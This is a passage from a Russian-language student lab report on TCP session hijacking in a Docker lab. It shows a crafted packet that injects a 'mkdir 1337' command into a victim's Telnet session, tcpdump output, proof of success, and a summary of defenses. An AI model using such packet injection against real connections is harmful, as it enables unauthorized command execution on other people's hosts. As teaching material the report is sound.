ShortEnumField = 23 (80) seq : IntField = 1386786213 (0) ack : IntField = 482847772 (0) dataofs : BitField (4 bits) = None (None) reserved : BitField (3 bits) = 0 (0) flags : FlagsField (9 bits) = () window : ShortField = 8192 (8192) chksum : XShortField = None (None) urgptr : ShortField = 0 (0) options : TCPOptionsField = [] (b'') -- load : StrField = b'\r mkdir 1337 \r' (b'') ``` 4. Убедимся в наличии пакетов в tcpdump. ``` 15:45:40.024448 IP 10.3.0.3.60124 > 10.3.0.4.telnet: Flags [P.], seq 1386786213:1386786227, ack 482847772, win 8192, length 14 15:45:40.024851 IP 10.3.0.4.telnet > 10.3.0.3.60124: Flags [P.], seq 482847772:482847795, ack 1386786227, win 249, options [nop,nop,TS val 1825685939 ecr 1861691417], length 23 15:45:40.231905 IP 10.3.0.4.telnet > 10.3.0.3.60124: Flags [P.], seq 482847795:482847830, ack 1386786227, win 249, options [nop,nop,TS val 1825686146 ecr 1861691417], length 35 ``` 5. Проверив состояние нашего соединения между хостами `HostB` и `Victim` обнаруживаем, что соединение зависло и не реагирует на команды. Но как обстоят дела с папкой `1337` на хосте `Victim`? ```bash ┌──(marker㉿kali)-[~] └─$ docker exec -it Victim ls -la /root total 32 drwx------ 1 root root 4096 Mar 4 20:45 . drwxr-xr-x 1 root root 4096 Mar 4 19:35 .. -rw------- 1 root root 40 Mar 4 20:48 .bash_history -rw-rw-r-- 1 root root 160 Nov 26 2020 .bashrc drwxr-xr-x 1 root root 4096 Mar 4 19:36 .cache -rw-r--r-- 1 root root 161 Dec 5 2019 .profile drwxr-xr-x 2 root root 4096 Mar 4 20:45 1337 ``` Видим свежесозданную папку с именем `1337`, сигнализирующую о том, что атака прошла **успешно**! ### Итог задачи 3. TCP Session Hijacking (взятие сессии) - это форма атаки на уровне TCP, направленная на захват установленной сессии между клиентом и сервером с целью несанкционированного доступа к данным или выполнения действий от имени атакуемого пользователя. Принцип работы атаки заключается во вмешательстве в установленное TCP-соединение между клиентом и сервером путем введения поддельных TCP-пакетов или захвата существующих пакетов для манипуляции сессией. Атакующий может попытаться взять контроль над сессией, изменить данные, выполнить команды от имени пользователя или даже завершить сессию. В целом атака очень похожа на TCP RST-атаку по необходимым вводным данным. Для защиты от подобных атак могут применяться различные меры, такие как: - Использование шифрования и цифровой подписи для защиты конфиденциальности и целостности данных во время передачи. (Например, использование SSHv2 вместо Telnet) - Мониторинг сетевого трафика с целью обнаружения подозрительной активности или аномалий. (Сетевые снифферы с IDS, например PT Network Attack Discovery или Kaspersky Anti-Targetted Attack) - Настройка сетевой защиты, включая файерволы, средства обнаружения вторжений и фильтрацию пакетов. # Итог лабораторной работы На этом лабораторная работа окончена, файл отчет в формате pdf во вложении. Выполнил: Харитонов Марат Русланович, студенческий билет №М235314.